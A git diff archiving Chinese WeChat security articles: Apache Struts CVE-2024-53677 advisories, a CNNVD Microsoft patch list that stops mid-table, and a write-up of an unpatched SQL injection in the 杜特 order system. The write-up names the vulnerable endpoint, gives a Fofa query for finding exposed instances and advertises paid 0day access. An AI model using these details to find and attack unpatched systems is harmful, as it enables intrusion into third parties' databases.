diff --git a/data.json b/data.json index 13750fdc..f2e9486b 100644 --- a/data.json +++ b/data.json @@ -1318,5 +1318,25 @@ "https://mp.weixin.qq.com/s?__biz=MzkxNDM4OTM3OQ==&mid=2247505136&idx=3&sn=3b8e04d0266d9db89d08cd23faefb52b": "Windows 11 12 月补丁星期二修复了 72 个漏洞和一个零日漏洞", "https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652113172&idx=1&sn=cc65dbbe46b9dba55b33562e14441b09": "微软2024年12月份于周二补丁日针对72漏洞发布安全补丁", "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651309577&idx=2&sn=6fd24a945862bf834c191ed6f0cfec7b": "Ivanti最严重的 CSA 认证绕过漏洞曝光", - "https://mp.weixin.qq.com/s?__biz=MzI4NzA1Nzg5OA==&mid=2247485612&idx=2&sn=2a1158f7b17eb1ee8b19889b6f5ffcfd": "渗透测试小练习（1）尝试一个图形验证码绕过的复现" + "https://mp.weixin.qq.com/s?__biz=MzI4NzA1Nzg5OA==&mid=2247485612&idx=2&sn=2a1158f7b17eb1ee8b19889b6f5ffcfd": "渗透测试小练习（1）尝试一个图形验证码绕过的复现", + "https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486335&idx=1&sn=168f466d99da132b903604afc13a3a35": "「漏洞复现」电子图书阅读平台 downFile.aspx SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486633&idx=1&sn=ce9d691bace642433060f9e374fae37d": "【漏洞预警】Apache Struts 文件上传漏洞(CVE-2024-53677)", + "https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496582&idx=1&sn=e36e6d50967d7b97dcd7cec8a6b930e1": "发现关键漏洞获得 $4,000 赏金奖励", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651309661&idx=1&sn=cfdd79332e829413af2d16cb841ac66b": "单洞赏金1万美刀的漏洞思路分享| 玲珑安全帮会直播", + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521773&idx=1&sn=3e980835ea6ecc3e1562c951bb038730": "微软 MFA 中存在AuthQuake 漏洞，可导致无限次暴力攻击", + "https://mp.weixin.qq.com/s?__biz=MzUzNDg0NTc1NA==&mid=2247510479&idx=1&sn=d578238889ffed2b12bf3c600b6d1e4c": "中国网数中心和国家邮政局领导赴启明星辰集团调研交流", + "https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458585913&idx=1&sn=9b3e3bf33a7c7827dc567f6c4588e586": "即将开班！​“系统0day安全”系列课程：掌握漏洞挖掘重要技能", + "https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664232034&idx=4&sn=d4c255d0547183fe574225341573d4cc": "CNNVD | 关于Apache Struts安全漏洞的通报", + "https://mp.weixin.qq.com/s?__biz=MzU4NjY4MDAyNQ==&mid=2247496866&idx=1&sn=bbb30a60616ec1cf4ea6804a05eac048": "【漏洞通告】Apache Struts 2远程代码执行漏洞安全风险通告", + "https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523950&idx=1&sn=c7f7b9fa14789faf8a6c75b897452a46": "【漏洞通告】Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)", + "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247500381&idx=1&sn=bf0c2ee1284d729c2b7443e54dc2d93a": "安全简讯（2024.12.12）", + "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247500381&idx=2&sn=bdeddcb5ace7d2ee19d04851329b6f15": "【漏洞通告】Apache Struts 2远程代码执行漏洞（CVE-2024-53677）", + "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247500381&idx=3&sn=083d549b2dcf727a31f4e9b61a647018": "【漏洞通告】GitLab Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274）", + "https://mp.weixin.qq.com/s?__biz=Mzg3MDk0OTc1Nw==&mid=2247487889&idx=1&sn=d63e39882d747cd1ed7c3c59635dd669": "Cleo 0day漏洞 CVE-2024-50623 poc 公开", + "https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651462062&idx=1&sn=6d04ce844444272812e3be3b061bf062": "CNNVD关于Apache Struts安全漏洞的通报", + "https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651462062&idx=2&sn=51b3e8ee84acc08434a2309ef838b85d": "CNNVD关于微软多个安全漏洞的通报", + "https://mp.weixin.qq.com/s?__biz=MzkyMzYwNTEyNg==&mid=2247487166&idx=1&sn=4761c7215606df90787c654d6ceb8411": "(0day)杜特网上订单管理系统getUserImage存在SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==&mid=2247486362&idx=1&sn=7817b14339852f25f402164121d84609": "Apache Struts FileUploadInterceptor 目录遍历与文件上传漏洞（CVE-2024-53677）", + "https://mp.weixin.qq.com/s?__biz=Mzg5MTc3ODY4Mw==&mid=2247507539&idx=1&sn=988e5b92e2c247e3b172cd0170b42c9f": "漏洞通告 | Apache Struts2文件上传漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzk0MjE3ODkxNg==&mid=2247488718&idx=1&sn=a1dc37b8103bff225bac31cc7d4623a6": "【安全更新】微软12月安全更新多个产品高危漏洞通告" } \ No newline at end of file diff --git a/doc/(0day)杜特网上订单管理系统getUserImage存在SQL注入漏洞.md b/doc/(0day)杜特网上订单管理系统getUserImage存在SQL注入漏洞.md new file mode 100644 index 00000000..26719b88 --- /dev/null +++ b/doc/(0day)杜特网上订单管理系统getUserImage存在SQL注入漏洞.md @@ -0,0 +1,144 @@ +# (0day)杜特网上订单管理系统getUserImage存在SQL注入漏洞 +原创 websec WebSec 2024-12-12 06:43 + +**阅读须知** + +亲爱的读者，我们诚挚地提醒您，WebSec实验室的技术文章仅供个人研究学习参考。任何因传播或利用本实验室提供的信息而造成的直接或间接后果及损失，均由使用者自行承担责任。WebSec实验室及作者对此概不负责。如有侵权，请立即告知，我们将立即删除并致歉。感谢您的理解与支持！ + + + + + + + +**01** + + +**漏洞描述** + + +     + +杜特网上订单管理系统 getUserImage.ashx 接口未对用户传入的参数进行合理的校验和过滤，导致传入的参数直接携带到数据库执行，导致SQL注入漏洞，未经身份验证的攻击者可通过此漏洞获取数据库权限，深入利用可获取服务器权限。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCUTRicNXhbwOQx1douVmicwWTpvuLhGtg50CEnOwMycYB3EB4ZcHibNQexqeiaav2kgXaYeeiaqQNJ1dxA/640?wx_fmt=png&from=appmsg "") + + + +**02** + + +**资产测绘** + + + + +``` +Fofa语法：app="TUTORSOFT-ERP" +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCUTRicNXhbwOQx1douVmicwWTHWrDOHCKqKKPNhCzLG4lgS8xktUyIvibTZrktg25361z2APDJjSzUDA/640?wx_fmt=png&from=appmsg "") + + + + +**03** + + +**漏洞复现** + + +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCUTRicNXhbwOQx1douVmicwWTC1qibib7HCYhicu5xrwJ5iaxXtDpica8Y8mNaFOdwSNCPI18KTiawNVoTJtA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCUTRicNXhbwOQx1douVmicwWTzadkrsBianjuQbbsc1CqZeBwmFbQkFiasibbB9zkQumrdRChElURGEoHw/640?wx_fmt=png&from=appmsg "") + + + + +**04** + + +**修复建议** + +**** + + +临时缓解方案： +1. **使用参数化查询** +（Prepared Statements）: 通过预编译 SQL 语句，避免直接拼接用户输入。 + +1. **输入验证和过滤** +: 严格验证用户输入，过滤掉危险字符，如 ' +, " +, ; + 等。 + +1. **最小权限原则** +: 确保数据库用户仅具有执行必要操作的权限。 + +升级修复方案： + +官方已发布补丁 + + + +**05** + + +**星球介绍** + + +1. 我们郑重承诺，不定时推送高质量的 +1day +，有时也会分享未公开的 +0day +。 + +1. 星球目前价格降至 +99元 +，公众号设置星标，私聊星主只需 +89元. + +1. 欢迎投稿 +最新漏洞poc +或 +复现分析文章 +，符合条件的投稿者将获得一年免费会员资格。 + +                                     +**速来刷分** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/ssAcvVwPLCUhA5hAcDMBQgTaJsXE1uluQH0hEFd4XV9myj2SadMnV9SFS792os2A5JbDFuNZU78acgD83yqjaw/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/ssAcvVwPLCUhA5hAcDMBQgTaJsXE1uluC3wh0ve4RxJFPgwrkzsicJOdVpKd0k7CvVQ3kAlHofGX75EZNefic7KQ/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCVDaBanNRWoiaHrEsXv4ol8bFewWtfRPRPCiaJ3fibDy0rlYSnYMJED3eWFOjZzkj6QKpVWNqQbtNozQ/640?wx_fmt=png&from=appmsg "") + + + + +**▌▌▌星球服务** + +**1、WebSec专属Fofa查询工具（** +**Fofa****永久高级会员）****** +![](https://mmbiz.qpic.cn/mmbiz_png/ssAcvVwPLCUTrJuXibRP1Yu0O3w6L8hOy5sZJfHBugLxoITVTBlLZoSiaKEdIhL7tRY78ndQgznK00PzU0vU9Qlw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**2、Hunter积分充值八折优惠** + +**3、** +**MD5付费****版查询** + +**4、Xray高级版** + +**更多漏洞poc发布在知识星球** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/ssAcvVwPLCUTRicNXhbwOQx1douVmicwWTeKiaiakR84ehbvDM53A153TB7f5WwDA87tLWiaSBvpib3Ygmpn6pu6dNrA/640?wx_fmt=jpeg&from=appmsg "") + + +**** +- END - + + + + diff --git a/doc/Apache Struts FileUploadInterceptor 目录遍历与文件上传漏洞（CVE-2024-53677）.md b/doc/Apache Struts FileUploadInterceptor 目录遍历与文件上传漏洞（CVE-2024-53677）.md new file mode 100644 index 00000000..78ccfdc7 --- /dev/null +++ b/doc/Apache Struts FileUploadInterceptor 目录遍历与文件上传漏洞（CVE-2024-53677）.md @@ -0,0 +1,54 @@ +# Apache Struts FileUploadInterceptor 目录遍历与文件上传漏洞（CVE-2024-53677） +风险通告 阿里云应急响应 2024-12-12 06:11 + +2024年12月，Apache  +官方披露 CVE-2024-53677 Apache Struts FileUploadInterceptor 文件上传漏洞。 + +01 + +风险描述 + + +Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2024年12月，Apache 官方披露 CVE-2024-53677 Apache Struts FileUploadInterceptor 文件上传漏洞。在受影响版本中，若代码中使用了FileUploadInterceptor，当进行文件上传时，攻击者可能构造恶意请求利用目录遍历等上传文件至其他目录，在特定场景下可能造成代码执行。 + + +02 + +风险评级 + + +CVE-2024-53677 Apache Struts 文件上传漏洞 高危 + + +03 + +版本影响范围 + + +Struts 2.0.0 - Struts 2.3.37 + +Struts 2.5.0 - Struts 2.5.33 + +Struts 6.0.0 - Struts 6.3.0.2 + + +04 + +安全建议 + + +1、升级组件 Apache Struts 升级至 6.4.0 及以上版本。  + +2、自行排查代码中是否使用 FileUploadInterceptor，若无使用则不受该漏洞影响。 + + +05 + +相关链接 + + +https://avd.aliyun.com/detail/AVD-2024-53677 + +https://cwiki.apache.org/confluence/display/WW/S2-067 + + diff --git a/doc/CNNVD | 关于Apache Struts安全漏洞的通报.md b/doc/CNNVD | 关于Apache Struts安全漏洞的通报.md new file mode 100644 index 00000000..ca1e6922 --- /dev/null +++ b/doc/CNNVD | 关于Apache Struts安全漏洞的通报.md @@ -0,0 +1,73 @@ +# CNNVD | 关于Apache Struts安全漏洞的通报 + 中国信息安全 2024-12-12 09:57 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1brjUjbpg5wgeHFjliar42olr9wwjYJ1uIRhOq0gDre37SCIFhPt2Ly0iazCcQSa5SnSxQ4LAvam7rxK3Kibe6DRQ/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1brjUjbpg5wgeHFjliar42olr9wwjYJ1uDia2iasI6bJl3rC023BNMGYLAlprJv8cu5UYT9TlstNfAykW5I2uIK4A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1brjUjbpg5wgeHFjliar42olr9wwjYJ1uIRhOq0gDre37SCIFhPt2Ly0iazCcQSa5SnSxQ4LAvam7rxK3Kibe6DRQ/640?wx_fmt=gif&from=appmsg "") + +**扫码订阅《中国信息安全》** + + +邮发代号 2-786 + +征订热线：010-82341063 + + + + + + +**漏洞情况****** + +近日，国家信息安全漏洞库（CNNVD）收到关于Apache Struts安全漏洞（CNNVD-202412-1393、CVE-2024-53677）情况的报送。成功利用漏洞的攻击者，可以操纵文件上传参数来启用路径遍历，进而上传可用于执行远程利用代码的恶意文件。Apache Struts 2.0.0-2.3.37版本、Apache Struts 2.5.0-2.5.33版本、Apache Struts 6.0.0-6.3.0.2版本均受此漏洞影响。目前，Apache官方已发布新版本修复了该漏洞，建议用户及时确认产品版本，尽快采取修补措施。 + +## 一漏洞介绍 + + +Apache Struts是美国阿帕奇（Apache）软件基金会下属的Jakarta项目中的一个子项目，是一个基于MVC设计的Web应用框架。漏洞源于Apache Struts中的文件上传模块存在逻辑缺陷导致，未经授权的攻击者可以操纵文件上传参数来启用路径遍历，进而上传可用于执行远程利用代码的恶意文件，启用了FileUploadInterceptor 模块的应用受此漏洞影响。 + +## 二危害影响 + + +Apache Struts 2.0.0-2.3.37版本、Apache Struts 2.5.0-2.5.33版本、Apache Struts 6.0.0-6.3.0.2版本均受此漏洞影响。 + +## 三修复建议 + + +目前，Apache官方已发布新版本修复了该漏洞，建议用户及时确认产品版本，尽快采取修补措施。官方升级链接： + +https://struts.apache.org/download.cgi + +本通报由CNNVD技术支撑单位——深信服科技股份有限公司、北方实验室（沈阳）股份有限公司、贵州蓝天创新科技有限公司、道普信息技术有限公司、塞讯信息技术（上海）有限公司等技术支撑单位提供支持。 + +CNNVD将继续跟踪上述漏洞的相关情况，及时发布相关信息。如有需要，可与CNNVD联系。 + +联系方式：cnnvd@itsec.gov.cn + +（来源：CNNVD） + + + +**分享网络安全知识 强化网络安全意识** + +**欢迎关注《中国信息安全》杂志官方抖音号** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1brjUjbpg5wgeHFjliar42olr9wwjYJ1uoooXibakjQOias4yb2dNbCqIABIOTLoJLCTJ6ibRB6pplYdU3EZYIIFpg/640?wx_fmt=jpeg&from=appmsg "") + + +**《中国信息安全》杂志倾力推荐** + +**“企业成长计划”** + + +**点击下图 了解详情** + + + +[](https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664162643&idx=1&sn=fcc4f3a6047a0c2f4e4cc0181243ee18&scene=21#wechat_redirect) + + + + diff --git a/doc/CNNVD关于Apache Struts安全漏洞的通报.md b/doc/CNNVD关于Apache Struts安全漏洞的通报.md new file mode 100644 index 00000000..1af20fe6 --- /dev/null +++ b/doc/CNNVD关于Apache Struts安全漏洞的通报.md @@ -0,0 +1,43 @@ +# CNNVD关于Apache Struts安全漏洞的通报 +原创 CNNVD CNNVD安全动态 2024-12-12 07:31 + +![](https://mmbiz.qpic.cn/mmbiz_gif/g1thw9Goocf2Ufz929a1thwAyKI8uIwUT7yfu4ibROBCthXslE23ia0ibWJVYlkxqulYy37zyiblBfrwib4m7erTkbQ/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/k5xJjBPo8ceEDyDtWwClGjzMFF89SzKxRwqsR5z89FRTn8YhflGDHd440FiafMOgcV0GYmiawnCH2GUGYcaciaG8g/640?&wx_fmt=gif "") + +**点击蓝字 关注我们** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aqTr2WnSRI6o0t7BMQpMu5RC6OgKfSTia0iclOkC3ibiao2LBH88P7F9nDjxDzYq9Y9PicS0OlPseqmQqHfiaM4TVq1w/640?&wx_fmt=gif "") + + + + +**漏洞情况****** + +近日，国家信息安全漏洞库（CNNVD）收到关于Apache Struts安全漏洞（CNNVD-202412-1393、CVE-2024-53677）情况的报送。成功利用漏洞的攻击者，可以操纵文件上传参数来启用路径遍历，进而上传可用于执行远程利用代码的恶意文件。Apache Struts 2.0.0-2.3.37版本、Apache Struts 2.5.0-2.5.33版本、Apache Struts 6.0.0-6.3.0.2版本均受此漏洞影响。目前，Apache官方已发布新版本修复了该漏洞，建议用户及时确认产品版本，尽快采取修补措施。 + +## 一漏洞介绍 + + +Apache Struts是美国阿帕奇（Apache）软件基金会下属的Jakarta项目中的一个子项目，是一个基于MVC设计的Web应用框架。漏洞源于Apache Struts中的文件上传模块存在逻辑缺陷导致，未经授权的攻击者可以操纵文件上传参数来启用路径遍历，进而上传可用于执行远程利用代码的恶意文件，启用了FileUploadInterceptor 模块的应用受此漏洞影响。 + +## 二危害影响 + + +Apache Struts 2.0.0-2.3.37版本、Apache Struts 2.5.0-2.5.33版本、Apache Struts 6.0.0-6.3.0.2版本均受此漏洞影响。 + +## 三修复建议 + + +目前，Apache官方已发布新版本修复了该漏洞，建议用户及时确认产品版本，尽快采取修补措施。官方升级链接： + +https://struts.apache.org/download.cgi + +本通报由CNNVD技术支撑单位——深信服科技股份有限公司、北方实验室（沈阳）股份有限公司、贵州蓝天创新科技有限公司、道普信息技术有限公司、塞讯信息技术（上海）有限公司等技术支撑单位提供支持。 + +CNNVD将继续跟踪上述漏洞的相关情况，及时发布相关信息。如有需要，可与CNNVD联系。联系方式: cnnvd@itsec.gov.cn + +![](https://mmbiz.qpic.cn/mmbiz_gif/tV4JDvMn6RMFN7ExSt7AEhx1DPNW68Bt8SXrAelC5L01auTNJkN19gJn8zP0hPAhSMHibfRNj70fV2aDD6u681Q/640?&wx_fmt=gif "") + + diff --git a/doc/CNNVD关于微软多个安全漏洞的通报.md b/doc/CNNVD关于微软多个安全漏洞的通报.md new file mode 100644 index 00000000..c419cf65 --- /dev/null +++ b/doc/CNNVD关于微软多个安全漏洞的通报.md @@ -0,0 +1,51 @@ +# CNNVD关于微软多个安全漏洞的通报 +原创 CNNVD CNNVD安全动态 2024-12-12 07:31 + +![](https://mmbiz.qpic.cn/mmbiz_gif/g1thw9Goocf2Ufz929a1thwAyKI8uIwUT7yfu4ibROBCthXslE23ia0ibWJVYlkxqulYy37zyiblBfrwib4m7erTkbQ/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/k5xJjBPo8ceEDyDtWwClGjzMFF89SzKxRwqsR5z89FRTn8YhflGDHd440FiafMOgcV0GYmiawnCH2GUGYcaciaG8g/640?&wx_fmt=gif "") + +**点击蓝字 关注我们** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aqTr2WnSRI6o0t7BMQpMu5RC6OgKfSTia0iclOkC3ibiao2LBH88P7F9nDjxDzYq9Y9PicS0OlPseqmQqHfiaM4TVq1w/640?&wx_fmt=gif "") + + + + +**漏洞情况** + +近日，微软官方发布了多个安全漏洞的公告，其中微软产品本身漏洞75个，影响到微软产品的其他厂商漏洞1个。微软Microsoft Windows、Microsoft Windows Kernel Mode Drivers、Microsoft DNS Server、Microsoft Windows IP Routing Management Snapin等多个产品和系统受漏洞影响。目前，微软官方已经发布了漏洞修复补丁，建议用户及时确认是否受到漏洞影响，尽快采取修补措施。 + +## 一漏洞介绍 + + +2024年12月10日，微软发布了2024年12月份安全更新，共76个漏洞的补丁程序，CNNVD对这些漏洞进行了收录。本次更新主要涵盖了Microsoft Windows 和 Windows 组件、Microsoft Windows Kernel Mode Drivers、Microsoft DNS Server、Microsoft Windows IP Routing Management Snapin、Microsoft Windows Routing and Remote Access Service、Microsoft Windows Resilient File System等。CNNVD对其危害等级进行了评价，其中超危漏洞1个，高危漏洞35个，中危漏洞40个。 + +微软多个产品和系统版本受漏洞影响，具体影响范围可访问微软官方网站查询： + +https://portal.msrc.microsoft.com/zh-cn/security-guidance + +## 二漏洞详情 + + +此次更新共76个漏洞的补丁程序，包括71个新增漏洞的补丁程序、4个更新漏洞的补丁程序和1个影响微软产品的其他厂商漏洞的补丁程序。 + +此次更新共包括71个新增漏洞的补丁程序，其中超危漏洞1个，高危漏洞30个，中危漏洞40个。 +
序号
漏洞名称
CNNVD编号
CVE编号
危害等级
官方链接
1
Microsoft Lightweight Directory Access Protocol 安全漏洞
CNNVD-202412-1333
CVE-2024-49112
超危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49112
2
Microsoft Office 安全漏洞
CNNVD-202412-1271
CVE-2024-43600
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43600
3
Microsoft Windows Task Scheduler 安全漏洞
CNNVD-202412-1284
CVE-2024-49072
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49072
4
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1288
CVE-2024-49075
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49075
5
Microsoft Input Method Editor 安全漏洞
CNNVD-202412-1301
CVE-2024-49079
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49079
6
Microsoft Windows IP Routing Management Snapin 安全漏洞
CNNVD-202412-1306
CVE-2024-49080
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49080
7
Microsoft Windows Kernel 安全漏洞
CNNVD-202412-1158
CVE-2024-49084
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49084
8
Microsoft Windows Common Log File System Driver 安全漏洞
CNNVD-202412-1315
CVE-2024-49088
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49088
9
Microsoft Windows PrintWorkflowUserSvc 安全漏洞
CNNVD-202412-1323
CVE-2024-49095
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49095
10
Microsoft Message Queuing 安全漏洞
CNNVD-202412-1189
CVE-2024-49096
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49096
11
Microsoft Windows PrintWorkflowUserSvc 安全漏洞
CNNVD-202412-1192
CVE-2024-49097
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49097
12
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1207
CVE-2024-49102
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49102
13
Microsoft Remote Desktop Client 安全漏洞
CNNVD-202412-1362
CVE-2024-49105
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49105
14
Microsoft WmsRepair Service 安全漏洞
CNNVD-202412-1220
CVE-2024-49107
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49107
15
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1223
CVE-2024-49108
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49108
16
Microsoft Lightweight Directory Access Protocol 安全漏洞
CNNVD-202412-1336
CVE-2024-49113
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49113
17
Microsoft Windows Cloud Files Mini Filter Driver 安全漏洞
CNNVD-202412-1340
CVE-2024-49114
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49114
18
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1342
CVE-2024-49116
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49116
19
Microsoft Message Queuing 安全漏洞
CNNVD-202412-1345
CVE-2024-49118
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49118
20
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1236
CVE-2024-49119
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49119
21
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1238
CVE-2024-49120
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49120
22
Microsoft Lightweight Directory Access Protocol 安全漏洞
CNNVD-202412-1241
CVE-2024-49121
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49121
23
Microsoft Message Queuing 安全漏洞
CNNVD-202412-1246
CVE-2024-49122
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49122
24
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1244
CVE-2024-49123
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49123
25
Microsoft Lightweight Directory Access Protocol 安全漏洞
CNNVD-202412-1250
CVE-2024-49124
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49124
26
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1252
CVE-2024-49125
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49125
27
Microsoft Lightweight Directory Access Protocol 安全漏洞
CNNVD-202412-1349
CVE-2024-49127
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49127
28
Microsoft Windows Remote Desktop Gateway 安全漏洞
CNNVD-202412-1260
CVE-2024-49129
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49129
29
Microsoft Windows Remote Desktop Services 安全漏洞
CNNVD-202412-1261
CVE-2024-49132
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49132
30
Microsoft Windows Common Log File System Driver 安全漏洞
CNNVD-202412-1357
CVE-2024-49138
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138
31
Microsoft Office 安全漏洞
CNNVD-202412-1266
CVE-2024-49142
高危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49142
32
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1294
CVE-2024-49077
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49077
33
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1307
CVE-2024-49081
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49081
34
Microsoft Windows File Explorer 安全漏洞
CNNVD-202412-1310
CVE-2024-49082
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49082
35
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1317
CVE-2024-49083
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49083
36
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1200
CVE-2024-49099
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49099
37
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1203
CVE-2024-49101
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49101
38
Microsoft Windows Wireless Wide Area Network Service 安全漏洞
CNNVD-202412-1327
CVE-2024-49109
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49109
39
Microsoft System Center Operations Manager 安全漏洞
CNNVD-202412-1187
CVE-2024-43594
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43594
40
Microsoft Defender 安全漏洞
CNNVD-202412-1131
CVE-2024-49057
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49057
41
Microsoft Office 安全漏洞
CNNVD-202412-1133
CVE-2024-49059
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49059
42
Microsoft Office Sharepoint Server 安全漏洞
CNNVD-202412-1276
CVE-2024-49062
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49062
43
Microsoft Muzic 安全漏洞
CNNVD-202412-1278
CVE-2024-49063
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49063
44
Microsoft SharePoint 安全漏洞
CNNVD-202412-1138
CVE-2024-49064
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49064
45
Microsoft Office 安全漏洞
CNNVD-202412-1280
CVE-2024-49065
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49065
46
Microsoft SharePoint 安全漏洞
CNNVD-202412-1140
CVE-2024-49068
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49068
47
Microsoft Excel 安全漏洞
CNNVD-202412-1145
CVE-2024-49069
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49069
48
Microsoft SharePoint 安全漏洞
CNNVD-202412-1147
CVE-2024-49070
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49070
49
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1152
CVE-2024-49073
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49073
50
Microsoft Windows Kernel Mode Drivers 安全漏洞
CNNVD-202412-1154
CVE-2024-49074
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49074
51
Microsoft Windows Virtualization-Based Security (VBS) Enclave 安全漏洞
CNNVD-202412-1290
CVE-2024-49076
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49076
52
Microsoft Windows Mobile Broadband Driver 安全漏洞
CNNVD-202412-1298
CVE-2024-49078
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49078
53
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1162
CVE-2024-49085
中危
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49085
54
Microsoft Windows Routing and Remote Access Service 安全漏洞
CNNVD-202412-1165
CVE-2024-49086
中危
